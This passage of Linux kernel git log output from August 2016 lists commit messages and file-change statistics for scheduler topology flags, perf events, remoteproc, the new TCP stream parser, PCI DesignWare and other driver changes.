for asymmetric capacity systems A domain with the SD_ASYM_CPUCAPACITY flag set indicate that sched_groups at this level and below do not include CPUs of all capacities available (e.g. group containing little-only or big-only CPUs in big.LITTLE systems). It is therefore necessary to put in more effort in finding an appropriate CPU at task wake-up by enabling balancing at wake-up (SD_BALANCE_WAKE) on all lower (child) levels. Signed-off-by: Morten Rasmussen Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: dietmar.eggemann@arm.com Cc: freedom.tan@mediatek.com Cc: keita.kobayashi.ym@renesas.com Cc: mgalbraith@suse.de Cc: sgurrappadi@nvidia.com Cc: vincent.guittot@linaro.org Cc: yuyang.du@intel.com Link: http://lkml.kernel.org/r/1469453670-2660-8-git-send-email-morten.rasmussen@arm.com Signed-off-by: Ingo Molnar kernel/sched/core.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 3676b13e8524c576825fe1e731e347dba0083888 Author: Morten Rasmussen Date: Mon Jul 25 14:34:23 2016 +0100 sched/core: Pass child domain into sd_init() If behavioural sched_domain flags depend on topology flags set at higher domain levels we need a way to update the child domain flags. Moving the child pointer assignment inside sd_init() should make that possible. Signed-off-by: Morten Rasmussen Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: dietmar.eggemann@arm.com Cc: freedom.tan@mediatek.com Cc: keita.kobayashi.ym@renesas.com Cc: mgalbraith@suse.de Cc: sgurrappadi@nvidia.com Cc: vincent.guittot@linaro.org Cc: yuyang.du@intel.com Link: http://lkml.kernel.org/r/1469453670-2660-7-git-send-email-morten.rasmussen@arm.com Signed-off-by: Ingo Molnar kernel/sched/core.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 1f6e6c7cb9bcd58abb5ee11243e0eefe6b36fc8e Author: Morten Rasmussen Date: Mon Jul 25 14:34:22 2016 +0100 sched/core: Introduce SD_ASYM_CPUCAPACITY sched_domain topology flag Add a topology flag to the sched_domain hierarchy indicating the lowest domain level where the full range of CPU capacities is represented by the domain members for asymmetric capacity topologies (e.g. ARM big.LITTLE). The flag is intended to indicate that extra care should be taken when placing tasks on CPUs and this level spans all the different types of CPUs found in the system (no need to look further up the domain hierarchy). This information is currently only available through iterating through the capacities of all the CPUs at parent levels in the sched_domain hierarchy. SD 2 [ 0 1 2 3] SD_ASYM_CPUCAPACITY SD 1 [ 0 1] [ 2 3] !SD_ASYM_CPUCAPACITY CPU: 0 1 2 3 capacity: 756 756 1024 1024 If the topology in the example above is duplicated to create an eight CPU example with third sched_domain level on top (SD 3), this level should not have the flag set (!SD_ASYM_CPUCAPACITY) as its two group would both have all CPU capacities represented within them. Signed-off-by: Morten Rasmussen Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: dietmar.eggemann@arm.com Cc: freedom.tan@mediatek.com Cc: keita.kobayashi.ym@renesas.com Cc: mgalbraith@suse.de Cc: sgurrappadi@nvidia.com Cc: vincent.guittot@linaro.org Cc: yuyang.du@intel.com Link: http://lkml.kernel.org/r/1469453670-2660-6-git-send-email-morten.rasmussen@arm.com Signed-off-by: Ingo Molnar include/linux/sched.h | 1 + kernel/sched/core.c | 4 ++++ 2 files changed, 5 insertions(+) commit 0e6d2a67a41321b3ef650b780a279a37855de08e Author: Morten Rasmussen Date: Mon Jul 25 14:34:21 2016 +0100 sched/core: Remove unnecessary NULL-pointer check Checking if the sched_domain pointer returned by sd_init() is NULL seems pointless as sd_init() neither checks if it is valid to begin with nor set it to NULL. Signed-off-by: Morten Rasmussen Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: dietmar.eggemann@arm.com Cc: freedom.tan@mediatek.com Cc: keita.kobayashi.ym@renesas.com Cc: mgalbraith@suse.de Cc: sgurrappadi@nvidia.com Cc: vincent.guittot@linaro.org Cc: yuyang.du@intel.com Link: http://lkml.kernel.org/r/1469453670-2660-5-git-send-email-morten.rasmussen@arm.com Signed-off-by: Ingo Molnar kernel/sched/core.c | 2 -- 1 file changed, 2 deletions(-) commit 94f438c84e850570f28dd36588a0d7f73b991e44 Author: Peter Zijlstra Date: Mon Aug 15 12:54:59 2016 +0200 sched/core: Clarify SD_flags comment The SD_flags comment is very terse and doesn't explain why PACKING is odd. IIRC the distinction is that the 'normal' ones only describe topology, while the ASYM_PACKING one also prescribes behaviour. It is odd in the way that it doesn't only describe things. Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mike Galbraith Cc: Morten Rasmussen Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: dietmar.eggemann@arm.com Cc: freedom.tan@mediatek.com Cc: keita.kobayashi.ym@renesas.com Cc: mgalbraith@suse.de Cc: sgurrappadi@nvidia.com Cc: vincent.guittot@linaro.org Cc: yuyang.du@intel.com Link: http://lkml.kernel.org/r/20160815105459.GS6879@twins.programming.kicks-ass.net Signed-off-by: Ingo Molnar kernel/sched/core.c | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) commit 31e3a8817b66034d49c988617f8ca2822275db7c Author: Karl Beldan Date: Tue Aug 16 22:33:37 2016 +0000 ARM: dts: da850,da850-evm: Add an aemif node and use it for the NAND Currently the davinci da8xx boards use the mach-davinci aemif code. Instantiating an aemif node into the DT allows to use the ti-aemif memory driver and is another step to better DT support. This change adds an aemif node in the dtsi while retiring the nand_cs3 node. The NAND is now instantiated in the dts as a subnode of the aemif one along with its pins. Signed-off-by: Karl Beldan Signed-off-by: Sekhar Nori arch/arm/boot/dts/da850-evm.dts | 49 ++++++++++++++++++++++++++++++++++++----- arch/arm/boot/dts/da850.dtsi | 35 +++++++---------------------- 2 files changed, 52 insertions(+), 32 deletions(-) commit 5a96215739fbda2ccc0f2371295e93e4cb6a088a Merge: 1fc770d 03cbc73 Author: Ingo Molnar Date: Thu Aug 18 11:20:19 2016 +0200 Merge branch 'sched/urgent' into sched/core, to pick up dependencies Signed-off-by: Ingo Molnar commit 84ccd63686498e907799fe3789b521a2a18dd6a9 Author: Colin Ian King Date: Wed Aug 17 18:47:59 2016 +0100 ASoC: Intel: sst: fix ix spelling mistake: "capablities" -> "capabilites" trivial fix to spelling mistake in dev_err message and reformat code to avoid being over 80 chars wide per line Signed-off-by: Colin Ian King Signed-off-by: Mark Brown sound/soc/intel/atom/sst/sst.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 1fc770d5899c995db8e22d35eb918a2cb79559d9 Author: Rik van Riel Date: Mon Aug 15 12:14:10 2016 -0400 sched: Remove struct rq::nohz_stamp The nohz_stamp member of struct rq has been unused since 2010, when this commit removed the code that referenced it: 396e894d289d ("sched: Revert nohz_ratelimit() for now") Signed-off-by: Rik van Riel Cc: Frederic Weisbecker Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20160815121410.5ea1c98f@annuminas.surriel.com Signed-off-by: Ingo Molnar kernel/sched/sched.h | 1 - 1 file changed, 1 deletion(-) commit e64cd6f73ff5a7eb4f8f759049ee24a3fe55e731 Author: David Carrillo-Cisneros Date: Wed Aug 17 13:55:07 2016 -0700 perf/x86: Use PMUEF_READ_CPU_PKG in uncore events Add flag to Intel's uncore and RAPL. Signed-off-by: David Carrillo-Cisneros Signed-off-by: Peter Zijlstra (Intel) Reviewed-by: Stephane Eranian Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Kan Liang Cc: Linus Torvalds Cc: Paul Turner Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Vegard Nossum Cc: Vince Weaver Link: http://lkml.kernel.org/r/1471467307-61171-5-git-send-email-davidcc@google.com Signed-off-by: Ingo Molnar arch/x86/events/intel/rapl.c | 2 ++ arch/x86/events/intel/uncore.c | 2 ++ arch/x86/events/intel/uncore_snb.c | 2 ++ 3 files changed, 6 insertions(+) commit d6a2f9035bfc27d0e9d78b13635dda9fb017ac01 Author: David Carrillo-Cisneros Date: Wed Aug 17 13:55:06 2016 -0700 perf/core: Introduce PMU_EV_CAP_READ_ACTIVE_PKG Introduce the flag PMU_EV_CAP_READ_ACTIVE_PKG, useful for uncore events, that allows a PMU to signal the generic perf code that an event is readable in the current CPU if the event is active in a CPU in the same package as the current CPU. This is an optimization that avoids a unnecessary IPI for the common case where uncore events are run and read in the same package but in different CPUs. As an example, the IPI removal speeds up perf_read() in my Haswell system as follows: - For event UNC_C_LLC_LOOKUP: From 260 us to 31 us. - For event RAPL's power/energy-cores/: From to 255 us to 27 us. For the optimization to work, all events in the group must have it (similarly to PERF_EV_CAP_SOFTWARE). Signed-off-by: David Carrillo-Cisneros Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: David Carrillo-Cisneros Cc: Jiri Olsa Cc: Kan Liang Cc: Linus Torvalds Cc: Paul Turner Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vegard Nossum Cc: Vince Weaver Link: http://lkml.kernel.org/r/1471467307-61171-4-git-send-email-davidcc@google.com Signed-off-by: Ingo Molnar include/linux/perf_event.h | 3 +++ kernel/events/core.c | 25 +++++++++++++++++++++++-- 2 files changed, 26 insertions(+), 2 deletions(-) commit 4ff6a8debf48a7bf48e93c01da720785070d3a25 Author: David Carrillo-Cisneros Date: Wed Aug 17 13:55:05 2016 -0700 perf/core: Generalize event->group_flags Currently, PERF_GROUP_SOFTWARE is used in the group_flags field of a group's leader to indicate that is_software_event(event) is true for all events in a group. This is the only usage of event->group_flags. This pattern of setting a group level flags when all events in the group share a property is useful for the flag introduced in the next patch and for future CQM/CMT flags. So this patches generalizes group_flags to work as an aggregate of event level flags. PERF_GROUP_SOFTWARE denotes an inmutable event's property. All other flags that I intend to add are also determinable at event initialization. To better convey the above, this patch renames event's group_flags to group_caps and PERF_GROUP_SOFTWARE to PERF_EV_CAP_SOFTWARE. Individual event flags are stored in the new event->event_caps. Since the cap flags do not change after event initialization, there is no need to serialize event_caps. This new field is used when events are added to a context, similarly to how PERF_GROUP_SOFTWARE and is_software_event() worked. Lastly, for consistency, updates is_software_event() to rely in event_cap instead of the context index. Signed-off-by: David Carrillo-Cisneros Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Kan Liang Cc: Linus Torvalds Cc: Paul Turner Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vegard Nossum Cc: Vince Weaver Link: http://lkml.kernel.org/r/1471467307-61171-3-git-send-email-davidcc@google.com Signed-off-by: Ingo Molnar include/linux/perf_event.h | 18 +++++++++++++----- kernel/events/core.c | 16 ++++++++-------- 2 files changed, 21 insertions(+), 13 deletions(-) commit 29dd3288705f26cc27663e79061209dabce2d5b9 Author: Madhavan Srinivasan Date: Wed Aug 17 15:06:08 2016 +0530 bitmap.h, perf/core: Fix the mask in perf_output_sample_regs() When decoding the perf_regs mask in perf_output_sample_regs(), we loop through the mask using find_first_bit and find_next_bit functions. While the exisiting code works fine in most of the case, the logic is broken for big-endian 32-bit kernels. When reading a u64 mask using (u32 *)(&val)[0], find_*_bit() assumes that it gets the lower 32 bits of u64, but instead it gets the upper 32 bits - which is wrong. The fix is to swap the words of the u64 to handle this case. This is _not_ a regular endianness swap. Suggested-by: Yury Norov Signed-off-by: Madhavan Srinivasan Signed-off-by: Peter Zijlstra (Intel) Reviewed-by: Yury Norov Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Jiri Olsa Cc: Linus Torvalds Cc: Michael Ellerman Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/1471426568-31051-2-git-send-email-maddy@linux.vnet.ibm.com Signed-off-by: Ingo Molnar include/linux/bitmap.h | 18 ++++++++++++++++++ kernel/events/core.c | 5 +++-- 2 files changed, 21 insertions(+), 2 deletions(-) commit 8942c2b7f3ab58b140f31653e1a9ea373212930d Merge: bdfaa2e 71e7bc2 Author: Ingo Molnar Date: Thu Aug 18 10:36:21 2016 +0200 Merge branch 'perf/urgent' into perf/core, to pick up dependencies Signed-off-by: Ingo Molnar commit 6fa06b0d9e9514bfca9b89493161f2a2cbb079a9 Author: Tillmann Heidsieck Date: Mon Aug 15 21:08:49 2016 +0200 EDAC, mpc85xx: Fix PCIe error capture According to the reference manual of MPC8572 and T4240, bit 31 of PEX_ERR_CAP_STAT is W1C (write 1 to clear). Add the corresponding write to PEX_ERR_CAP_STAT in order to fix the PCIe error capture. Tested on a T4240 processor. Signed-off-by: Tillmann Heidsieck Acked-by: Johannes Thumshirn Cc: linux-edac Link: http://lkml.kernel.org/r/20160815190849.29327-1-theidsieck@leenox.de Signed-off-by: Borislav Petkov drivers/edac/mpc85xx_edac.c | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) commit bdfaa2eecd5f6ca0cb5cff2bc7a974a15a2fd21b Author: Oleg Nesterov Date: Wed Aug 17 17:37:04 2016 +0200 uprobes: Rename the "struct page *" args of __replace_page() Purely cosmetic, no changes in the compiled code. Perhaps it is just me but I can hardly read __replace_page() because I can't distinguish "page" from "kpage" and because I need to look at the caller to to ensure that, say, kpage is really the new page and the code is correct. Rename them to old_page and new_page, this matches the caller. Signed-off-by: Oleg Nesterov Cc: Alexander Shishkin Cc: Alexei Starovoitov Cc: Arnaldo Carvalho de Melo Cc: Arnaldo Carvalho de Melo Cc: Brenden Blanco Cc: Jiri Olsa Cc: Johannes Weiner Cc: Linus Torvalds Cc: Michal Hocko Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: Vladimir Davydov Link: http://lkml.kernel.org/r/20160817153704.GC29724@redhat.com Signed-off-by: Ingo Molnar kernel/events/uprobes.c | 36 ++++++++++++++++++------------------ 1 file changed, 18 insertions(+), 18 deletions(-) commit bc06f00dbd71a839228f382540a834c3963b9312 Merge: e48c178 6c4687c Author: Ingo Molnar Date: Thu Aug 18 10:03:35 2016 +0200 Merge branch 'perf/urgent' into perf/core, to pick up dependency Signed-off-by: Ingo Molnar commit 988d204cdaf604c59316dadb98eba2da2188b762 Author: Bjorn Andersson Date: Thu Aug 11 14:52:53 2016 -0700 remoteproc: Move handling of cached table to boot/shutdown As we moved the vdev handling to the main boot/shutdown code path we can further simplify the resource table handling by moving the parsing spet to boot as well. The lifespan of the resource table is changed to live from rproc_boot() to rproc_shutdown(). Cc: Lee Jones Cc: Loic Pallardy Signed-off-by: Bjorn Andersson drivers/remoteproc/remoteproc_core.c | 55 ++++++++++++------------------------ include/linux/remoteproc.h | 2 -- 2 files changed, 18 insertions(+), 39 deletions(-) commit d81fb32f3da6c46863c9b736f991fc595d0373bd Author: Bjorn Andersson Date: Thu Aug 11 14:52:52 2016 -0700 remoteproc: Move vdev handling to boot/shutdown The newly introduced "always-on" flag allows us to stop giving the vdevs special treatment. The ordering of resource allocation and life cycle of the remote processor is kept intact. This allows us to mark a remote processor with vdevs to not boot unless explicitly requested to do so by a client driver. Cc: Lee Jones Cc: Loic Pallardy Signed-off-by: Bjorn Andersson drivers/remoteproc/remoteproc_core.c | 37 +++++++++++++++--------------------- 1 file changed, 15 insertions(+), 22 deletions(-) commit b35d7afc3ba9d5cf28655481aef1dd6a01c6421d Author: Bjorn Andersson Date: Thu Aug 11 14:52:51 2016 -0700 remoteproc: Calculate max_notifyid during load The calculation of max_notifyid must only be done before we call start() on the remoteproc drivers, so move the calculation to be part of the loading steps. Cc: Lee Jones Cc: Loic Pallardy Signed-off-by: Bjorn Andersson drivers/remoteproc/remoteproc_core.c | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) commit ddf711872c9d2b05b0fb25db3e6e0c2a50be39e3 Author: Bjorn Andersson Date: Thu Aug 11 14:52:50 2016 -0700 remoteproc: Introduce auto-boot flag Introduce an "auto-boot" flag on rprocs to make it possible to flag remote processors without vdevs to automatically boot once the firmware is found. Preserve previous behavior of the wkup_m3 processor being explicitly booted by a consumer. Cc: Lee Jones Cc: Loic Pallardy Cc: Suman Anna Signed-off-by: Bjorn Andersson drivers/remoteproc/remoteproc_core.c | 28 +++++++++++++++++++++++++++- drivers/remoteproc/remoteproc_virtio.c | 13 ------------- drivers/remoteproc/wkup_m3_rproc.c | 2 ++ include/linux/remoteproc.h | 1 + 4 files changed, 30 insertions(+), 14 deletions(-) commit 60747ef4d173c2747bf7f0377fb22846cb422195 Merge: 4843341 184ca82 Author: David S. Miller Date: Thu Aug 18 01:17:32 2016 -0400 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net Minor overlapping changes for both merge conflicts. Resolution work done by Stephen Rothwell was used as a reference. Signed-off-by: David S. Miller commit c3929b72e605d1ca7b6b2056c5c23e09b65f4141 Author: Kevin Hilman Date: Tue Jun 14 12:03:39 2016 -0700 ARM64: DTS: meson-gxbb: switch ethernet to real clock With the clock driver upstream, switch to the real clock. Signed-off-by: Kevin Hilman arch/arm64/boot/dts/amlogic/meson-gxbb.dtsi | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit b0d8a69d08069f4f4b1d9670d57a7e22da6e6c6a Author: Markus Elfring Date: Tue Aug 16 23:00:07 2016 +0200 cpufreq-SCPI: Delete unnecessary assignment for the field "owner" The field "owner" is set by the core. Thus delete an unneeded initialisation. Generated by scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Markus Elfring Acked-by: Viresh Kumar Acked-by: Sudeep Holla Signed-off-by: Rafael J. Wysocki drivers/cpufreq/scpi-cpufreq.c | 1 - 1 file changed, 1 deletion(-) commit 8457a1b49a2af0a0e71f80afed9f7c80de361610 Author: Guenter Roeck Date: Mon Aug 15 06:15:35 2016 -0700 extcon: Introduce EXTCON_PROP_USB_SS property for SuperSpeed mode EXTCON_PROP_USB_SS (SuperSpeed)[1] is necessary to distinguish between USB/USB2 and USB3 connections on USB Type-C cables. [1] https://en.wikipedia.org/wiki/USB#Overview Cc: Chris Zhong Signed-off-by: Guenter Roeck Signed-off-by: Chanwoo Choi include/linux/extcon.h | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 484334198f8ce9552e20930fff9408ebf6bcf94d Merge: d2d371a adcce4d Author: David S. Miller Date: Wed Aug 17 19:37:04 2016 -0400 Merge branch 'strparser' Tom Herbert says: ==================== strp: Stream parser for messages This patch set introduces a utility for parsing application layer protocol messages in a TCP stream. This is a generalization of the mechanism implemented of Kernel Connection Multiplexor. This patch set adapts KCM to use the strparser. We expect that kTLS can use this mechanism also. RDS would probably be another candidate to use a common stream parsing mechanism. The API includes a context structure, a set of callbacks, utility functions, and a data ready function. The callbacks include a parse_msg function that is called to perform parsing (e.g. BPF parsing in case of KCM), and a rcv_msg function that is called when a full message has been completed. For strparser we specify the return codes from the parser to allow the backend to indicate that control of the socket should be transferred back to userspace to handle some exceptions in the stream: The return values are: >0 : indicates length of successfully parsed message 0 : indicates more data must be received to parse the message -ESTRPIPE : current message should not be processed by the kernel, return control of the socket to userspace which can proceed to read the messages itself other < 0 : Error is parsing, give control back to userspace assuming that synchronization is lost and the stream is unrecoverable (application expected to close TCP socket) There is one issue I haven't been able to fully resolve. If parse_msg returns ESTRPIPE (wants control back to userspace) the parser may already have consumed some bytes of the message. There is no way to put bytes back into the TCP receive queue and tcp_read_sock does not allow an easy way to peek messages. In lieu of a better solution, we return ENODATA on the socket to indicate that the data stream is unrecoverable (application needs to close socket). This condition should only happen if an application layer message header is split across two skbuffs and parsing just the first skbuff wasn't sufficient to determine the that transfer to userspace is needed. This patch set contains: - strparser implementation - changes to kcm to use strparser - strparser.txt documentation v2: - Add copyright notice to C files - Remove GPL module license from strparser.c - Add report of rxpause v3: - Restore GPL module license - Use EXPORT_SYMBOL_GPL v4: - Removed unused function, changed another to be static as suggested by davem - Rewoked data_ready to be called from upper layer, no longer requires taking over socket data_ready callback as suggested by Lance Chao Tested: - Ran a KCM thrash test for 24 hours. No behavioral or performance differences observed. ==================== Signed-off-by: David S. Miller commit adcce4d5dd46d9356c1c9a6515efc430e331fa69 Author: Tom Herbert Date: Mon Aug 15 14:51:03 2016 -0700 strparser: Documentation Signed-off-by: Tom Herbert Signed-off-by: David S. Miller Documentation/networking/strparser.txt | 136 +++++++++++++++++++++++++++++++++ 1 file changed, 136 insertions(+) commit 9b73896a81dc68a638a011877b7344b252f92276 Author: Tom Herbert Date: Mon Aug 15 14:51:02 2016 -0700 kcm: Use stream parser Adapt KCM to use the stream parser. This mostly involves removing the RX handling and setting up the strparser using the interface. Signed-off-by: Tom Herbert Signed-off-by: David S. Miller include/net/kcm.h | 37 +--- net/ipv6/ila/ila_common.c | 1 - net/kcm/Kconfig | 1 + net/kcm/kcmproc.c | 44 +++-- net/kcm/kcmsock.c | 456 ++++++++-------------------------------------- 5 files changed, 116 insertions(+), 423 deletions(-) commit 43a0c6751a322847cb6fa0ab8cbf77a1d08bfc0a Author: Tom Herbert Date: Mon Aug 15 14:51:01 2016 -0700 strparser: Stream parser for messages This patch introduces a utility for parsing application layer protocol messages in a TCP stream. This is a generalization of the mechanism implemented of Kernel Connection Multiplexor. The API includes a context structure, a set of callbacks, utility functions, and a data ready function. A stream parser instance is defined by a strparse structure that is bound to a TCP socket. The function to initialize the structure is: int strp_init(struct strparser *strp, struct sock *csk, struct strp_callbacks *cb); csk is the TCP socket being bound to and cb are the parser callbacks. The upper layer calls strp_tcp_data_ready when data is ready on the lower socket for strparser to process. This should be called from a data_ready callback that is set on the socket: void strp_tcp_data_ready(struct strparser *strp); A parser is bound to a TCP socket by setting data_ready function to strp_tcp_data_ready so that all receive indications on the socket go through the parser. This is assumes that sk_user_data is set to the strparser structure. There are four callbacks. - parse_msg is called to parse the message (returns length or error). - rcv_msg is called when a complete message has been received - read_sock_done is called when data_ready function exits - abort_parser is called to abort the parser The input to parse_msg is an skbuff which contains next message under construction. The backend processing of parse_msg will parse the application layer protocol headers to determine the length of the message in the stream. The possible return values are: >0 : indicates length of successfully parsed message 0 : indicates more data must be received to parse the message -ESTRPIPE : current message should not be processed by the kernel, return control of the socket to userspace which can proceed to read the messages itself other < 0 : Error is parsing, give control back to userspace assuming that synchronzation is lost and the stream is unrecoverable (application expected to close TCP socket) In the case of error return (< 0) strparse will stop the parser and report and error to userspace. The application must deal with the error. To handle the error the strparser is unbound from the TCP socket. If the error indicates that the stream TCP socket is at recoverable point (ESTRPIPE) then the application can read the TCP socket to process the stream. Once the application has dealt with the exceptions in the stream, it may again bind the socket to a strparser to continue data operations. Note that ENODATA may be returned to the application. In this case parse_msg returned -ESTRPIPE, however strparser was unable to maintain synchronization of the stream (i.e. some of the message in question was already read by the parser). strp_pause and strp_unpause are used to provide flow control. For instance, if rcv_msg is called but the upper layer can't immediately consume the message it can hold the message and pause strparser. Signed-off-by: Tom Herbert Signed-off-by: David S. Miller include/net/strparser.h | 145 ++++++++++++++ net/Kconfig | 1 + net/Makefile | 1 + net/strparser/Kconfig | 4 + net/strparser/Makefile | 1 + net/strparser/strparser.c | 492 ++++++++++++++++++++++++++++++++++++++++++++++ 6 files changed, 644 insertions(+) commit d2d371ae5dd6af9a6a3d7f50b753627c42868409 Author: Thierry Reding Date: Tue Aug 16 16:45:38 2016 +0200 net: ipconfig: Fix more use after free While commit 9c706a49d660 ("net: ipconfig: fix use after free") avoids the use after free, the resulting code still ends up calling both the ic_setup_if() and ic_setup_routes() after calling ic_close_devs(), and access to the device is still required. Move the call to ic_close_devs() to the very end of the function. Signed-off-by: Thierry Reding Signed-off-by: David S. Miller net/ipv4/ipconfig.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 00062a934b7d0c6c5a1a4d774abdba6ebf3af81e Merge: 268ef4b 4c09a08 Author: David S. Miller Date: Wed Aug 17 19:22:13 2016 -0400 Merge tag 'batadv-next-for-davem-20160816' of git://git.open-mesh.org/linux-merge Simon Wunderlich says: ==================== pull request for net-next: batman-adv 2016-08-16 This feature patchset is all about adding netlink support, which should supersede our debugfs configuration interface in the long run. It is especially necessary when batman-adv should be used in different namespaces, since debugfs can not differentiate between those. More specifically, the following changes are included: - Two fixes for namespace handling by Andrew Lunn, checking also the namespaces for parent interfaces, and supress debugfs entries for non-default netns - Implement various netlink commands for the new interface, by Matthias Schiffer, Andrew Lunn, Sven Eckelmann and Simon Wunderlich (13 patches): * routing algorithm list * hardif list * translation tables (local and global) * TTVN for the translation tables * originator and neighbor tables for B.A.T.M.A.N. IV and B.A.T.M.A.N. V * gateway dump functionality for B.A.T.M.A.N. IV and B.A.T.M.A.N. V * Bridge Loop Avoidance claims, and corresponding BLA group * Bridge Loop Avoidance backbone tables - Finally, mark batman-adv as netns compatible, by Andrew Lunn (1 patch) ==================== Signed-off-by: David S. Miller commit 92e47ba8839bacc185db89f3b11cd8036193e6a9 Author: Liping Zhang Date: Sat Aug 13 22:35:36 2016 +0800 netfilter: conntrack: simplify the code by using nf_conntrack_get_ht Since commit 64b87639c9cb ("netfilter: conntrack: fix race between nf_conntrack proc read and hash resize") introduce the nf_conntrack_get_ht, so there's no need to check nf_conntrack_generation again and again to get the hash table and hash size. And convert nf_conntrack_get_ht to inline function here. Suggested-by: Pablo Neira Ayuso Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_conntrack.h | 20 ++++++++++++++ include/net/netfilter/nf_conntrack_core.h | 3 -- net/netfilter/nf_conntrack_core.c | 46 +++++++------------------------ 3 files changed, 30 insertions(+), 39 deletions(-) commit 57c4a2ac8f55e6648c36a1df8c4919f06d08d66e Author: Markus Elfring Date: Tue Aug 16 08:53:10 2016 +0200 clk: gcc-ipq4019: Delete unnecessary assignment for the field "owner" The field "owner" is set by the core. Thus delete an unneeded initialisation. Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Markus Elfring Signed-off-by: Stephen Boyd drivers/clk/qcom/gcc-ipq4019.c | 1 - 1 file changed, 1 deletion(-) commit a0601a47053714eecec726aea5ebcd829f817497 Author: Joao Pinto Date: Wed Aug 10 11:02:39 2016 +0100 PCI: designware: Add iATU Unroll feature Add support for the new iATU Unroll mechanism that will be used from Core version 4.80. The new Cores can support either iATU Unroll or the "old" iATU method, now called Legacy Mode. The driver is perfectly capable of performing well for both. [bhelgaas: split ATU enable timeout to separate patch] Signed-off-by: Joao Pinto Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-designware.c | 97 +++++++++++++++++++++++++++++++++----- drivers/pci/host/pcie-designware.h | 1 + 2 files changed, 87 insertions(+), 11 deletions(-) commit d8bbeb39fbf3ff06b6adae9d336f44bee4e3f3ec Author: Joao Pinto Date: Wed Aug 17 13:26:07 2016 -0500 PCI: designware: Wait for iATU enable Add a loop with timeout to make sure the iATU is really enabled before subsequent config and I/O accesses. [bhelgaas: split to separate patch, use dev_err() instead of dev_dbg()] Signed-off-by: Joao Pinto Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-designware.c | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) commit c388de1c4f0e5da3e96b49efb0388e2a0d34e079 Author: Joao Pinto Date: Wed Aug 10 11:02:38 2016 +0100 PCI: designware: Move link wait definitions to .c file Move the link wait sleep definitions to the .c file as suggested by Jisheng Zhang in a previous patch. Signed-off-by: Joao Pinto Signed-off-by: Bjorn Helgaas CC: Jisheng Zhang drivers/pci/host/pcie-designware.c | 5 +++++ drivers/pci/host/pcie-designware.h | 5 ----- 2 files changed, 5 insertions(+), 5 deletions(-) commit 446fc23fb6f0cab15011d7daae856091856a65cc Author: Bjorn Helgaas Date: Wed Aug 17 14:17:58 2016 -0500 PCI: designware: Return data directly from dw_pcie_readl_rc() dw_pcie_readl_rc() reads a u32 value. Previously we stored that value in space supplied by the caller. Return the u32 value directly instead. This makes the calling code read better and makes it obvious that the caller need not initialize the storage. In the following example it isn't clear whether "val" is initialized before being used: dw_pcie_readl_rc(pp, PCI_COMMAND, &val); if (val & PCI_COMMAND_MEMORY) ... No functional change intended. Signed-off-by: Bjorn Helgaas drivers/pci/host/pci-exynos.c | 9 ++++++--- drivers/pci/host/pcie-designware.c | 20 ++++++++++---------- drivers/pci/host/pcie-designware.h | 3 +-- 3 files changed, 17 insertions(+), 15 deletions(-) commit e9f11dc80a113f13731f0af883770b05b3d50509 Author: Tom St Denis Date: Wed Aug 17 12:00:51 2016 -0400 drm/amd/amdgpu: Add more debugfs config data Adds family and external_rev_id to config data Signed-off-by: Tom St Denis Acked-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 041aa65805de1a8af87dab2a26e52ebfe01f1963 Author: Emily Deng Date: Wed Aug 17 14:59:20 2016 +0800 drm/amdgpu: Hardcode virtual DCE vblank / scanout position return values For virtual display feature, by hardcoding 0 for the vblank counter and -EINVAL for the scanout position return value, we signal to the core DRM code that there are no hardware counters we can use for these. Signed-off-by: Emily Deng Reviewed-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_virtual.c | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) commit 66f3cd90016196166d50964f14d62b12de9ac281 Author: Karl Beldan Date: Tue Aug 16 22:33:36 2016 +0000 ARM: 